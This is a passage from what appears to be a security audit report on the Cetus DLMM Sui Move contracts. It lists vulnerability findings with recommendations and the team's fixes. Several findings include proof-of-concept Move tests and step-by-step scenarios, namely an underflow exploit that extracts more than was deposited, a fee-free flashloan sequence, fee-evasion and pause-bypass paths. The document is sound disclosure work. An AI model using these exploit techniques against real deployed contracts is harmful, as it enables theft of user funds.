    let position_info2 =
pool.position_manager().borrow_position_info(object::id(&position));
    let pos_stats2 = position_info2.info_stats();
    debug::print(&string::utf8(b"Step 5: DESYNC ACHIEVED - checking stats
mismatch"));

    // Step 6: Extract profits - the vulnerable calculation happens inside
remove_liquidity
    let liquidity_shares2 = position.liquidity_shares();
    let (final_return_a, final_return_b) = pool.remove_liquidity<A, B>(
        &mut position,
        bin_ids,
        liquidity_shares2,
        &config,
        &versioned,
        &clk,
        ctx,
    );

    let final_profit_a = final_return_a.value();
    let final_profit_b = final_return_b.value();

    debug::print(&string::utf8(b"Step 6: PROFITS EXTRACTED via underflow:"));
    debug::print(&final_profit_a);
    debug::print(&final_profit_b);

    // Step 7: Analyze the exploit
    debug::print(&string::utf8(b"=== VULNERABILITY ANALYSIS ==="));
    debug::print(&string::utf8(b"Initial legitimate returns:"));
    debug::print(&initial_return_a);
    debug::print(&initial_return_b);
    debug::print(&string::utf8(b"Final exploited returns:"));
    debug::print(&final_profit_a);
    debug::print(&final_profit_b);
```

```
    // The exploit succeeds if final > initial (more money out than should be
possible)
    if (final_profit_a > initial_return_a || final_profit_b > initial_return_b) {
        debug::print(&string::utf8(b"EXPLOIT SUCCESS: Extracted more than
deposited!"));
    } else {
        debug::print(&string::utf8(b"Exploit conditions may need refinement"));
    };

    // Cleanup
    final_return_a.destroy_for_testing();
    final_return_b.destroy_for_testing();

    let (cert, bal_a, bal_b) = pool.close_position<A, B>(
        position,
        &config,
        &versioned,
        &clk,
        ctx
    );
    pool::destroy_close_position_cert(cert, &versioned);
    bal_a.destroy_for_testing();
    bal_b.destroy_for_testing();

    cleanup(scenario, config, versioned, pool, clk);
}
```

```
Running Move unit tests
[debug] "=== ACTUAL UNDERFLOW VULNERABILITY EXPLOITATION ==="
[debug] "Step 1: Position created with initial stats"
[debug] "Step 2: Forcing fee accumulation through add/remove cycles"
[debug] "Added extra liquidity to create growth accumulation"
[debug] "Step 3: Removing partial liquidity first"
[debug] "Step 4: Removing ALL remaining liquidity - bins will be DELETED"
[debug] "Step 3: ALL LIQUIDITY REMOVED - bins deleted, position stats STALE"
[debug] 400001
[debug] 400001
[debug] "Step 4: Re-adding liquidity - VULNERABILITY TRIGGERED"
[debug] "Step 5: DESYNC ACHIEVED - checking stats mismatch"
[debug] "Step 6: PROFITS EXTRACTED via underflow:"
[debug] 1000000
[debug] 1000000
[debug] "=== VULNERABILITY ANALYSIS ==="
[debug] "Initial legitimate returns:"
[debug] 400001
[debug] 400001
[debug] "Final exploited returns:"
[debug] 1000000
[debug] 1000000
[debug] "EXPLOIT SUCCESS: Extracted more than deposited!"
[ PASS    ] cetusdlmm::underflow_poc_test::test_underflow_exploitation_working3
```

Recommendation

We recommend reconsidering the usage of `math_u128::wrapping` math operations and avoiding data inconsistency while bin removal and re-creation.

Alleviation

[Cetus, 09/03/2025]: The team heeded the advice and resolved the issue by clearing bin stats when liquidity was 0 in commit f442ca0db0bd8c0e502029831fe3a1a2e960d038.

CED-09 `take_reward_from_close_position_cert()` Can Use Rewards From Other Pools To Pay Rewards Of Position Certificate

Category	Severity	Location	Status
Denial of Service, Logical Issue	Major	packages/cetus_dlmm/sources/pool.move (init-57ba7dc): 1328~1337	Resolved

Description

When `positionInfo` is taken out in `close_position()` and stored in `ClosePositionCert`, it does not verify which pool the `positionInfo` comes from. Therefore, in `take_reward_from_close_position_cert()`, it is possible to pass in a different pool from the one used in `close_position()` and consume rewards from that pool to pay the rewards required by the `ClosePositionCert`.

`pool.move`

```
 1328  public fun take_reward_from_close_position_cert<CoinTypeA, CoinTypeB,
RewardType>(
 1329      pool: &mut Pool<CoinTypeA, CoinTypeB>,
 1330      cert: &mut ClosePositionCert,
 1331      versioned: &Versioned,
 1332  ): Balance<RewardType> {
 1333      versioned.check_version();
 1334      let index = pool.reward_manager.get_index<RewardType>();
 1335      let amount = cert.take_reward_from_close_cert(index);
 1336      pool.reward_manager.withdraw<RewardType>(amount)
 1337  }
```

As a result, the pool's rewards will be insufficient to cover all position rewards in that pool, resulting in a DoS.

Recommendation

We recommend adding a pool ID field in `ClosePositionCert` to perform poll id verification in `take_reward_from_close_position_cert()`.

Alleviation

[Cetus, 09/03/2025]: The team heeded the advice and resolved the issue by adding validation on pool in commit f442ca0db0bd8c0e502029831fe3a1a2e960d038.

CED-29 | Emergency Pause Ignored When Active Bin Is Empty

Category	Severity	Location	Status
Logical Issue	Medium	packages/cetus_dlmm/sources/pool.move (update-5-4acdcb5): 3385~3392	Resolved

Description

In pool.move, the `reward_settle` function checks `pool.bin_manager.is_active_bin_empty(pool.active_id)` before it checks `pool.reward_manager.emergency_reward_pause()`. This branch order makes the pause ineffective whenever the active bin is empty. In that case, the code calls `rollover_refunds_into_remaining_time(accumulated_rewards, clk)` and returns without ever consulting the emergency pause flag.

```
 3379  fun reward_settle<CoinTypeA, CoinTypeB>(pool: &mut Pool<CoinTypeA, CoinTypeB>
, clk: &Clock) {
 3380      let accumulated_rewards = pool.reward_manager.settle_rewards(clk);
 3381      if (accumulated_rewards.is_empty()) {
 3382          return
 3383      };
 3384      // If the active bin is empty, refund the rewards
 3385      if (pool.bin_manager.is_active_bin_empty(pool.active_id)) {
 3386          pool.reward_manager.rollover_refunds_into_remaining_time(
accumulated_rewards, clk);
 3387          return
 3388      };
 3389      if (pool.reward_manager.emergency_reward_pause()) {
 3390          pool.reward_manager.refund_rewards(accumulated_rewards);
 3391          return
 3392      };
 3393      let bin = pool.bin_manager.borrow_mut_bin(pool.active_id);
 3394      bin.accumulate_rewards(accumulated_rewards);
 3395  }
```

As a result, while pause is active, any caller can keep re-scheduling rewards into a higher `current_emission_rate` simply by ensuring the active bin is empty when `reward_settle` runs.

Recommendation

Recommend checking `emergency_reward_pause` before the empty-bin branch, so paused state always routes to `refund_rewards`, regardless of bin liquidity.

Alleviation

[Cetus, 09/19/2025]: The team heeded the advice and resolved the issue in commit bdd18518b29fb17e55b33566ebd90f18e243c44f.

CED-30 Collect-Fee/Reward Pause Can Be Bypassed By Closing Positions

Category	Severity	Location	Status
Logical Issue	Medium	packages/cetus_dlmm/sources/pool.move (update-5-4acdcb5): 2075	Resolved

Description

In pool.move's `close_position` function, `operation_check` gates only the exact `OperationKind` passed in, and does not account for operations that implicitly include multiple kinds. It maps `REMOVE` only to `permissions.disable_remove` and does not also enforce `permissions.disable_collect_fee` or `permissions.disable_collect_reward` when the underlying action also collects fees/rewards.

The `close_position` function implicitly performs three actions at once: it removes liquidity, collects trading fees, and collects accrued rewards (the close certificate carries rewards that can be withdrawn later). However, `close_position` calls `operation_check` with only `restriction::remove_kind()`. Because `operation_check` only checks `disable_remove` for `REMOVE` and does not also check the collect toggles, a user can collect fees and rewards by closing their position even when the pool has collect operations paused (`disable_collect_fee = true` and/or `disable_collect_reward = true`).

As a result, pool-level pauses intended to block fee/reward collection are ineffective; users can still realize and withdraw their fees and rewards by closing positions.

Recommendation

Recommend modifying the operation check based on the project's needs.

Alleviation

[Cetus, 09/19/2025]: The team heeded the advice and resolved the issue by adding `collect_fee_kind` and `collect_reward_kind` checks in commit bdd18518b29fb17e55b33566ebd90f18e243c44f.

CED-05 Incorrect Event Emission On Multiple Liquidity Additions To Active Bin

Category	Severity	Location	Status
Logical Issue	Minor	packages/cetus_dlmm/sources/pool.move (init-57ba7dc): 887~888	Resolved

Description

The `add_liquidity` function calculates composition fees when a user adds liquidity to the pool's active bin.

However, if a user provides the active bin's ID multiple times within a single call, a logic flaw causes the fees to be under-reported in the emitted `AddLiquidityEvent`. The variables `fee_a` and `fee_b`, which track the fees paid, are overwritten in each loop iteration instead of being accumulated. This is possible because the function does not check to ensure the user only add liquidity to the active bin once in a call.

Consequently, the event only logs the fees from the final liquidity addition to the active bin, ignoring all fees paid in previous iterations of the same call. While the on-chain state correctly processes and records the total fees, the discrepancy with the event log can mislead off-chain applications, analytics platforms, and users who rely on this data for accounting or performance tracking.

Scenario

A user can demonstrate this vulnerability by adding liquidity to the active bin twice in one transaction and comparing the actual fees collected by the pool with the fees reported in the event log.

1. A user first queries the target pool to identify the current `active_id` and the initial values of `protocol_fee_a` and `protocol_fee_b`.
2. The user calls the `add_liquidity` function, providing the `active_id` twice in the `bins` input vector. For example:
   - `bins`: `[<active_id>, <active_id>]`
   - `amounts_a`: `[1000000, 2000000]`
   - `amounts_b`: `[1000000, 2000000]`
3. During the function's execution:
   - In the first loop iteration, composition fees are calculated for the `1,000,000` token amounts. Let's assume the returned fees are `(fee_a1, fee_b1)`. These are correctly collected by the pool, and the function's local variables are set: `fee_a = fee_a1`, `fee_b = fee_b1`.
   - In the second loop iteration, composition fees are calculated for the `2,000,000` token amounts. Let's assume the returned fees are `(fee_a2, fee_b2)`. These are also correctly collected by the pool. However, the local variables are overwritten: `fee_a = fee_a2`, `fee_b = fee_b2`.
4. Results:

- On-Chain State: After the transaction, the auditor queries the pool again. The `protocol_fee_a` and `protocol_fee_b` will have increased by an amount corresponding to the sum of the protocol's share of `(fee_a1 + fee_a2)` and `(fee_b1 + fee_b2)`.
- Event Log: The auditor inspects the `AddLiquidityEvent` emitted by the transaction. The event will incorrectly report `fee_a = fee_a2` and `fee_b = fee_b2`.

Recommendation

Recommend checking input `bins` to ensure there is no duplicated bins or accumulate active bin composition fees.

Alleviation

[Cetus, 08/27/2025]: The team heeded the advice and resolved the issue by accumulating the fees when multiple duplicate active bins were provided in commit efdb6375f1e3192e30f2c3ac705929bfb1bfa8ee.

CED-12 Add/Remove/Repay Liquidity Sequence Allows Flashloan Like Operation With No Cost

Category	Severity	Location	Status
Logical Issue	Minor	packages/cetus_dlmm/sources/pool.move (init-57ba7dc): 1	Resolved

Description

The add-liquidity flow mints liquidity and updates ticks immediately, returning an `AddLiquidityReceipt` with the owed `amount_a` and `amount_b` that must be repaid in the same transaction.

No guard is preventing a user from calling `remove_liquidity` on the same position before calling `repay_add_liquidity`. This permits sourcing the repayment entirely from the pool itself within the same transaction (flashloan-like behavior), i.e., add_liquidity -> remove_liquidity -> <do something> -> repay_add_liquidity.

As a result, users can effectively obtain a flashloan, even though the contract does not explicitly support flashloans, and no flashloan fee is enforced.

Proof of Concept

The following test describes the scenario that the user could add_liquidity -> remove_liquidity -> repay_add_liquidity to perform a flashloan-like operation with(almost zero cost):

```
#[test]
fun test_flashloan_with_add_remove_liquidity() {
    let (mut scenario, config, versioned, mut pool, clk) = test_setup();
    let ctx = scenario.ctx();

    // Step 1: dummy add at active bin and repay immediately - initial liquidity
    let active_id = pool.active_id();
    let bin_ids = vector[i32::as_u32(active_id)];
    let amounts_a = vector[1_000_000u64];
    let amounts_b = vector[100_000u64];
    let (position, receipt) = pool.open_position(
        bin_ids,
        amounts_a,
        amounts_b,
        &config,
        &versioned,
        &clk,
        ctx,
    );
    let (amt_a, amt_b) = receipt.amounts<A, B>();
    let bal_a = balance::create_for_testing<A>(amt_a);
    let bal_b = balance::create_for_testing<B>(amt_b);
    pool.repay_add_liquidity<A, B>(bal_a, bal_b, receipt, &versioned);
    sui::transfer::public_transfer(position, ctx.sender());

    // Prepare next tx
    test_scenario::return_shared(pool);
    test_scenario::return_shared(config);
    test_scenario::return_shared(versioned);

    // Step 2: add more liquidity (do NOT repay yet)
    let sender = ctx.sender();
    scenario.next_tx(sender);
    let mut pool = scenario.take_shared<Pool<A, B>>();
    let config = scenario.take_shared<GlobalConfig>();
    let versioned = scenario.take_shared<Versioned>();
    let ctx = scenario.ctx();

    let more_amounts_a = vector[1_000_000u64]; // value want to flash
    let more_amounts_b = vector[100_000u64];
    let (mut position2, receipt2) = pool.open_position(
        bin_ids,
        more_amounts_a,
        more_amounts_b,
        &config,
        &versioned,
        &clk,
        ctx,
```

```
    );

    // Step 3: remove liquidity before repaying the second add
    let liquidity_shares = position2.liquidity_shares();
    let (ret_a, ret_b) = pool.remove_liquidity<A, B>(
        &mut position2,
        bin_ids,
        liquidity_shares,
        &config,
        &versioned,
        &clk,
        ctx,
    );
    std::debug::print(&std::string::utf8(b"=== REMOVE LIQUIDITY ==="));
    std::debug::print(&ret_a.value());
    std::debug::print(&ret_b.value());

    // do anything with the returned balances like a flashloan


    let (amt2_a, amt2_b) = receipt2.amounts<A, B>();
    std::debug::print(&std::string::utf8(b""));
    std::debug::print(&std::string::utf8(b"=== Repay Add Liquidity ==="));
    std::debug::print(&amt_a);
    std::debug::print(&amt_b);


    pool.repay_add_liquidity<A, B>(ret_a, ret_b, receipt2, &versioned);

    sui::transfer::public_transfer(position2, ctx.sender());

    // Cleanup
    cleanup(scenario, config, versioned, pool, clk);
}
```

Recommendation

Recommend considering revising the logic to avoid removing liquidity between the add liquidity.

Alleviation

[Cetus, 09/03/2025]: The team heeded the advice and resolved the issue by using `pending_add_liquidity` store pending adding liquidity operations in commit f442ca0db0bd8c0e502029831fe3a1a2e960d038.

CED-15 | Inconsistency In Fee Rate Enforcement

Category	Severity	Location	Status
Volatile Code	Minor	packages/cetus_dlmm/sources/pool.move (update-1-57ba7dc): 2107~2116	Resolved

Description

The function `get_total_fee_rate` enforces a cap only on the `total_fee_rate`, ensuring it does not exceed `max_fee_rate`, but returns the individual `base_fee_rate` and `var_fee_rate` values without applying any constraints.

During swaps, fee calculations reference `base_fee_rate() + step.bin_swap_var_fee_rate()` as inputs for per-step fees, while actual bin swap operations are performed using the clamped `total_fee_rate`. This creates an inconsistency where displayed or derived component fee rates may differ from the effective, capped execution fee rate, especially if the sum of the base and variable rates exceeds the cap.

This can result in confusion in fee reporting or analytics since the breakdown and the total fee applied may not align.

Recommendation

Recommend fixing the inconsistency caused by the fee rate cap.

Alleviation

[Cetus, 09/18/2025]: The team heeded the advice and resolved the issue in commit 80530ae53d162e4da26aeb665de305e17fb7768e and d6707b2ddf71fc679d9be2ffcf2e400da310a3f0.

CED-16 `initialize_reward` And `add_reward` Can Be Executed When `emergency_reward_pause`

Category	Severity	Location	Status
Logical Issue	Minor	packages/cetus_dlmm/sources/pool.move (update-1-57ba7dc): 1783	Resolved

Description

When `emergency_reward_pause` is set to true, operations related to the reward manager should be stopped, as mentioned in the comments:

`reward.move`

```
116  /// Pauses the reward manager.
117  ///
118  /// ## Parameters
119  /// - `manager`: Mutable reference to the reward manager
120  public fun emergency_pause(manager: &mut RewardManager) {
121      manager.emergency_reward_pause = true;
122  }
```

However, in the actual execution logic, this state is only checked in the `reward_settle()` function through a call to `emergency_reward_pause()`:

`pool.move`

```
 2422  fun reward_settle<CoinTypeA, CoinTypeB>(pool: &mut Pool<CoinTypeA, CoinTypeB>
, clk: &Clock) {
 2423      let accumulated_rewards = pool.reward_manager.settle_rewards(clk);
 2424      if (accumulated_rewards.is_empty()) {
 2425          return
 2426      };
 2427      // If the active bin is empty, refund the rewards
 2428      if (pool.bin_manager.is_active_bin_empty(pool.active_id)) {
 2429          pool.reward_manager.rollover_refunds_into_remaining_time(
accumulated_rewards, clk);
 2430          return
 2431      };
 2432  @>  if (pool.reward_manager.emergency_reward_pause()) {
 2433          pool.reward_manager.refund_rewards(accumulated_rewards);
 2434          return
 2435      };
 2436      let bin = pool.bin_manager.borrow_bin_mut(pool.active_id);
 2437      bin.accumulate_rewards(accumulated_rewards);
 2438  }
```

`reward.move`

```
641 public fun emergency_reward_pause(manager: &RewardManager): bool {
642     manager.emergency_reward_pause
643 }
```

Since `initialize_reward()` and `add_reward()` does not call the `reward_settle` function, they can still be executed when `emergency_reward_pause` is true, which violates the intended design.

Recommendation

We recommend adding an `emergency_reward_pause` check to the `initialize_reward()` and `add_reward()` functions.

Alleviation

[Cetus, 09/25/2025]: The team heeded the advice and resolved the issue in commits 80530ae53d162e4da26aeb665de305e17fb7768e and 2f178278fc735d4e31c8eb4125c763cae256a0de.

CED-22 By Paying Swap Fees To Avoid Composition Fees From Unbalanced Liquidity During `add_liquidity()` And `open_position()`

Category	Severity	Location	Status
Logical Issue	Minor	packages/cetus_dlmm/sources/pool.move (update-2-f442ca0): 717, 849	Resolved

Description

Since users can utilize the already added liquidity for operations between `add_liquidity()` / `open_position()` and `repay_add_liquidity()`, when users need to add liquidity at an unbalanced amount_a/amount_b ratio in the active bin, they can pay swap fees through a certain method to avoid composition fees caused by unbalanced ratio.

Let's take extremely imbalanced one-sided liquidity as an example. Suppose the pool is a <SUI, USDT> pair, with 100 SUI and 100 USDT currently in the active bin, and the bin's price is 3 (i.e., the price of SUI is 3 USDT). If a user wants to inject 4,000 USDT of liquidity into the active bin without paying composition fees from unbalanced ratio, he can do the following:

1. Call `add_liquidity()` to add 1,000 SUI and 1,000 USDT.
2. Call `flash_swap()` and `repay_flash_swap()` to swap 3,000 USDT (including fees, requiring more than 3,000 USDT) for 1,000 SUI.
3. Call `repay_add_liquidity()` to return 1,000 SUI and 1,000 USDT.

At this point, the active bin will record 100 SUI(`amount_a`) and 4,100 USDT(`amount_b`), and the user can add liquidity with 4,000 USDT plus USDT swap fees, avoiding composition fees.

During this process, user expenses for adding unbalanced liquidity are reduced in two aspects:

1. By paying swap fees, composition fees are avoided. When swap fees are lower than composition fees, this method is profitable for users.

2. If the user adds a large amount of liquidity, they will become a whale in the current bin, and most of the LP fees from the swap fees will be returned to the user, further reducing the user's fee expenses.

Recommendation

We recommend reviewing the design that allows other operations to be inserted between `add_liquidity()` and `repay_add_liquidity()`, as this may lead to potential risks.

Alleviation

[Cetus, 09/17/2025]: The team heeded the advice and resolved the issue by adding an `active_open_positions` field in the pool to forbid swap when `open_position` or `add_liquidity` does not finish repayment in commit

80530ae53d162e4da26aeb665de305e17fb7768e.

CED-23 `fetch_bins()` Fetches Bins From The Start Of `BinGroup` Instead Of The `Start` Bin ID

Category	Severity	Location	Status
Inconsistency	Minor	packages/cetus_dlmm/sources/bin.move (update-2-f442ca0): 780; packages/cetus_dlmm/sources/pool.move (update-2-f442ca0): 1927~1933	Resolved

Description

The previous version of `fetch_bin()`s would return **limit consecutive existing bins in the pool starting from the `start` bin ID**.

However, in the current code, since the `idx` in `fetch_bins()` is calculated starting from 0, it returns **limit consecutive existing bins in the pool starting from the first bin of the `BinGroup` where `start` resides.**

`pool.move`

```
1927  public fun fetch_bins<CoinTypeA, CoinTypeB>(
1928      pool: &Pool<CoinTypeA, CoinTypeB>,
1929      start: vector<u32>,
1930      limit: u64,
1931  ): vector<bin::BinInfo> {
1932      bin::fetch_bins(&pool.bin_manager, start, limit)
1933  }
```

`bin.move`

```
765  public fun fetch_bins(manager: &BinManager, start: vector<u32>, limit: u64):
vector<BinInfo> {
766      let mut bins = vector::empty<BinInfo>();
767      let mut opt_next_group_idx = if (start.is_empty()) {
768          manager.bins.head()
769      } else {
770          let bin_id = i32::from_u32(start[0]);
771          let (group_index, _) = resolve_bin_position(bin_score(bin_id));
772          assert!(manager.contains(bin_id), EBinNotExists);
773          option_u64::some(group_index)
774      };
775
776      let mut count = 0;
777      while (opt_next_group_idx.is_some()) {
778          let node = manager.bins.borrow_node(opt_next_group_idx.borrow());
779          let group = node.borrow_value();
780  @>      let mut idx: u8 = 0;
781          while (idx < group.bins.length() as u8) {
782              if (group.used_bins_mask >> idx & 1 == 1) {
783                  bins.push_back(group.bins[idx as u64].bin_info());
784                  count = count + 1;
785                  if (count == limit) {
786                      return bins
787                  };
788              };
789              idx = idx + 1;
790          };
791          opt_next_group_idx = node.next_score();
792      };
793      bins
794  }
```

Recommendation

We want to confirm with the project team whether this is the intended design.

If not, it is necessary to correct the code logic to make it return limit consecutive existing bins in the pool starting from the `start` bin ID.

Alleviation

[Cetus, 09/11/2025]: The team heeded the advice and resolved the issue in commit 80530ae53d162e4da26aeb665de305e17fb7768e.

CED-24 | Discussion On `reward_refunded`

Category	Severity	Location	Status
Design Issue	Minor	packages/cetus_dlmm/sources/pool.move (update-2-f442ca0): 2409~2425	Resolved

Description

During `reward_settle()`, if the emergency reward pause is activated, rewards are temporarily stored in the `reward_refunded` variable and will only be distributed once the active bin becomes empty.

`pool.move`

```
  2409  fun reward_settle<CoinTypeA, CoinTypeB>(pool: &mut Pool<CoinTypeA, CoinTypeB>
, clk: &Clock) {
  2410      let accumulated_rewards = pool.reward_manager.settle_rewards(clk);
  2411      if (accumulated_rewards.is_empty()) {
  2412          return
  2413      };
  2414      // If the active bin is empty, refund the rewards
  2415      if (pool.bin_manager.is_active_bin_empty(pool.active_id)) {
  2416  @>      pool.reward_manager.rollover_refunds_into_remaining_time(
accumulated_rewards, clk);
  2417          return
  2418      };
  2419      if (pool.reward_manager.emergency_reward_pause()) {
  2420  @>      pool.reward_manager.refund_rewards(accumulated_rewards);
  2421          return
  2422      };
  2423      let bin = pool.bin_manager.borrow_mut_bin(pool.active_id);
  2424      bin.accumulate_rewards(accumulated_rewards);
  2425  }
```

However, in a well-functioning pool, the active bin becoming empty is a very rare event. If this condition does not occur for a long time, the funds stored in `reward_refunded` will remain locked in the contract and cannot be released.

Recommendation

We would like to confirm with the project team whether this is the intended design.

Alleviation

[Cetus, 09/17/2025]: When `active_id` is empty, the accumulated rewards are rolled over into the remaining time of the current cycle.

When the emergency reward pause is activated, the accumulated rewards are not released immediately, but stored in reward_refunded. We provide a dedicated emergency extraction method so that these rewards can be released in a later cycle, based on specific conditions.

The change is reflected in commit 80530ae53d162e4da26aeb665de305e17fb7768e.

CED-27 | Incorrect Fee Calculation Due To Stale `active_id` In Swaps

Category	Severity	Location	Status
Volatile Code	Minor	packages/cetus_dlmm/sources/pool.move (update-2-f442ca0): 2032	Resolved

Description

The `swap_in_pool` function calculates the variable fee for a swap based on the price volatility, which is measured by the distance between the current `active_id` and a stable `index_reference`. A logical flaw exists in how `active_id` is used within the swap loop, leading to an incorrect fee calculation for the first bin processed in a swap.

The function uses `pool.active_id` at the beginning of each loop iteration to calculate the volatility and the corresponding fee. However, if there is a gap in liquidity (i.e., the bin at `pool.active_id` is empty), the swap will start at the next available liquidity bin. The function correctly identifies this starting bin, but it fails to update `pool.active_id` to this actual starting bin's ID before the first fee calculation. Instead, it uses the stale `pool.active_id` from before the swap began. Consequently, the fee for the first chunk of the swap is calculated using an incorrect price delta, often resulting in a lower fee than intended.

Scenario

1. **Pre-conditions:** Identify a pool where a gap exists between the recorded `pool.active_id` and the first bin with actual liquidity in the desired swap direction. For example, assume `pool.active_id` and `v_parameters.index_reference` are both `100`, but bins `100` and `99` are empty. The first available bin with liquidity for a swap from token A to B (`a2b=true`) is bin `98`.

2. **Initiate Swap:** The actor calls `swap_in_pool` (via a public-facing swap function) to swap from token A to B with an amount large enough to consume liquidity from bin `98`.

3. **Execute the Exploit:**

   - Inside `swap_in_pool`, `first_score_for_swap` correctly identifies bin `98` as the starting point for the swap.
   - The `while` loop begins. In the first iteration, which will process bin `98`, the function calls `pool.v_parameters.update_volatility_accumulator(pool.active_id)`.
   - At this point, `pool.active_id` is still `100`. The volatility is calculated based on the delta between `active_id` (100) and `index_reference` (100), which is 0.
   - A minimal variable fee is computed based on this zero delta.
   - The swap proceeds, consuming the liquidity in bin `98`. The actor is charged this erroneously low fee for this portion of the trade.

4. **Outcome:** The actor successfully executes the first part of their swap at a discounted fee. The fee should have been calculated based on the delta between the actual starting bin (`98`) and the reference price (`100`), which is `2`. By exploiting this flaw, the actor avoids paying the higher fee intended by the protocol's dynamic fee mechanism.

Recommendation

Recommend using up-to-date `active_id` for the fee calculation.

Alleviation

[Cetus, 09/17/2025]: The team heeded the advice and resolved the issue by changing the `active_id` update in commit 3ad93678421b8bad01e7eca2cb4eda4b02c83503.

CED-28 Fee Sync Blocked By Reward Permission In `update_position_fee_and_rewards`

Category	Severity	Location	Status
Logical Issue	Minor	packages/cetus_dlmm/sources/pool.move (update-5-4acdcb5): 1888~1894	Resolved

Description

In pool.move, `update_position_fee_and_rewards` ties two unrelated permissions together by calling `operation_check` twice, once with `COLLECT_FEE` and once with `COLLECT_REWARD`, before doing any state updates:

- `pool.operation_check(restriction::collect_fee_kind(), ...)`
- `pool.operation_check(restriction::collect_reward_kind(), ...)`

`operation_check` asserts the corresponding pool permission flags are not disabled. As a result, `update_position_fee_and_rewards` will revert if either `disable_collect_fee` or `disable_collect_reward` is true, even though the function only performs internal accounting updates and does not actually transfer assets.

As a result, when rewards are paused (`disable_collect_reward` = true) but fee collection is allowed (`disable_collect_fee` = false), LPs cannot call `update_position_fee_and_rewards` due to the `collect_reward` check, so users cannot bring their position's fee counters up to date and will collect stale/partial fees. This creates a potential unintended denial of fee withdrawals whenever rewards are paused.

Recommendation

The audit team would like confirmation from the Cetus team on whether this behavior is expected.

Alleviation

[Cetus, 09/19/2025]: The team heeded the advice and resolved the issue by removing `collect_fee_kind` and `collect_reward_kind` checks in `update_position_fee_and_rewards()` function in commit bdd18518b29fb17e55b33566ebd90f18e243c44f.

CED-35 | Empty Bins Can Be Marked As Used

Category	Severity	Location	Status
Logical Issue	Minor	packages/cetus_dlmm/sources/pool.move (update-7-abf32f0): 1170	Resolved

Description

In pool.move, the `open_position_on_bin` function marks a bin as "used" through the `add_bin_in_group_if_absent` function without checking if the bin is empty or if both `amount_a` and `amount_b` are zeros:

```
 1160  public fun open_position_on_bin<CoinTypeA, CoinTypeB>(
 1161      position: &mut Position,
 1162      cert: &mut OpenPositionCert<CoinTypeA, CoinTypeB>,
 1163      bin_group_ref: &mut BinGroupRef,
 1164      offset_in_group: u8,
 1165      mut amount_a: u64,
 1166      mut amount_b: u64,
 1167      versioned: &Versioned,
 1168  ) {
 1169      versioned.check_version();
 1170      assert!(bin_group_ref.pool_id() == cert.pool_id, EBinGroupRefNotMatch);
 1171      let bin = bin_group_ref.borrow_bin_group_mut().add_bin_in_group_if_absent
(offset_in_group);
 1172      let bin_id = bin.id();
 1173      assert!(cert.position_id == object::id(position), EPositionNotMatch);
```

Therefore, an empty bin may be marked as "used". This might lead to unexpected corner cases in the project's operations.

For example, such bins might be selected during operations like swaps across multiple bins. In this scenario, the `swap_exact_amount_in` function in bin.move would execute for each bin, and if a "used" but empty bin is included, `bin.accumulate_fee()` can cause a revert due to zero liquidity:

```
 848  public(package) fun accumulate_fee(bin: &mut Bin, fee_a: u64, fee_b: u64) {
 849      if (fee_a == 0 && fee_b == 0) {
 850          return
 851      };
 852      let fee_growth_delta_a = calculate_growth_by_amount(fee_a, bin.
liquidity_supply);
 853      let fee_growth_delta_b = calculate_growth_by_amount(fee_b, bin.
liquidity_supply);
 854      bin.fee_a_growth_global = math_u128::wrapping_add(bin.fee_a_growth_global,
 fee_growth_delta_a);
 855      bin.fee_b_growth_global = math_u128::wrapping_add(bin.fee_b_growth_global,
 fee_growth_delta_b);
 856  }
```

```
335 public fun calculate_growth_by_amount(amount: u64, liquidity: u128): u128 {
336     assert!(liquidity > 0, EInvalidLiquidity);
337     if (amount == 0) {
338         return 0
339     };
340     full_math_u128::mul_div_floor(
341         (amount as u128) << scale_offset(),
342         1u128 << scale_offset(),
343         liquidity,
344     )
345 }
```

Although triggering this case requires specific conditions such as minimal swap amounts and zero protocol fees, it is advisable to address this scenario to improve system robustness.

Recommendation

Recommend verifying if a bin is empty before flagging it as "used".

Alleviation

[Cetus, 09/24/2025]: The team heeded the advice and partially resolved the issue in commit 07a1093b07e8203bcd7f0fbbed18b8d1b11845f3.

[CertiK, 09/24/2025]: The `add_liquidity_on_bin` function may also mark an empty bin as "used".

Although `amount_a` and `amount_b` have been checked to ensure they cannot be zero at the same time, it is possible that an attacker can provide only the "wrong-side" token so that `increase_liquidity` returns zero liquidity.

```
1293     if (amount_a == 0 && amount_b == 0) {
1294         return
1295     };
1296     let bin = bin_group_ref.borrow_bin_group_mut().add_bin_in_group_if_absent
(offset_in_group);
```

[Cetus, 09/24/2025]: Fixed in commit 0effb9611ed3af8d503642b89e414774358c7555.

CED-42 Repay Accepts Partially Filled OpenPositionCert (Next_bin_id Is Never Checked), Letting Users Finalize An “Incomplete” Open

Category	Severity	Location	Status
Volatile Code	Minor	packages/cetus_dlmm/sources/pool.move (update-11-324397b): 1500	Resolved

Description

`repay_open_position` destructures the `OpenPositionCert` and never uses `next_bin_id`. It also never verifies that all bins declared by **`width`** were actually processed before finalizing the open.

In the open flow, `cert.next_bin_id` starts from `lower_bin_id` and is incremented by `open_position_on_bin` for each processed bin. Correctness requires `cert.next_bin_id` to end at `lower_bin_id + width`. However, `repay_open_position` ignores this and restores `position_info` unconditionally as long as some `amount > 0` is repaid and basic ID checks pass. As a result, a user can repay a partially filled open, producing a position with width = W but with position_info containing liquidity/stat entries for only K < W bins. This creates an inconsistent state and breaks downstream accounting assumptions.

Functions like `remove_full_range_liquidity_by_percent` rely on the Position object's `lower_bin_id` and `upper_bin_id`. If a user tries to remove liquidity from the "full range," the contract will calculate the loop bounds based on the full width. When it tries to access a bin that should be there but isn't (due to the bug), it will trigger a Vector Index Out of Bounds error and abort the transaction.

Proof of Concept

The following test is trying to demonstrate the issue that a partial open position allowed and DoS with `remove_full_range_liquidity_by_percent`:

```
#[test_only]
module cetusdlmm::repay_poc {
    use cetusdlmm::pool;
    use cetusdlmm::pool_tests::{test_setup, A, B, cleanup};
    use cetusdlmm::bin::{bin_score, resolve_bin_position};
    use integer_mate::i32;
    use sui::balance;


    #[test]
    fun test_repay_open_position_partial_fill_bug() {
        let (mut scenario, config, versioned, mut pool, clk) = test_setup();
        let ctx = scenario.ctx();

        // 1. Create OpenPositionCert for width 2
        // bins: [0, 1]
        let lower_bin_id_u32 = i32::from(0).as_u32();
        let width = 2;

        let (mut position, mut cert) = pool.new_open_position_cert<A, B>(
            lower_bin_id_u32,
            width,
            true, // active_id_included (bin 0 is active)
            &config,
            &versioned,
            &clk,
            ctx,
        );

        // 2. Add liquidity to the FIRST bin (bin 0)
        let amount_a = 1000000;
        let amount_b = 1000000;

        let lower_bin_id = i32::from(0);
        let (group_idx, _) = resolve_bin_position(bin_score(lower_bin_id));


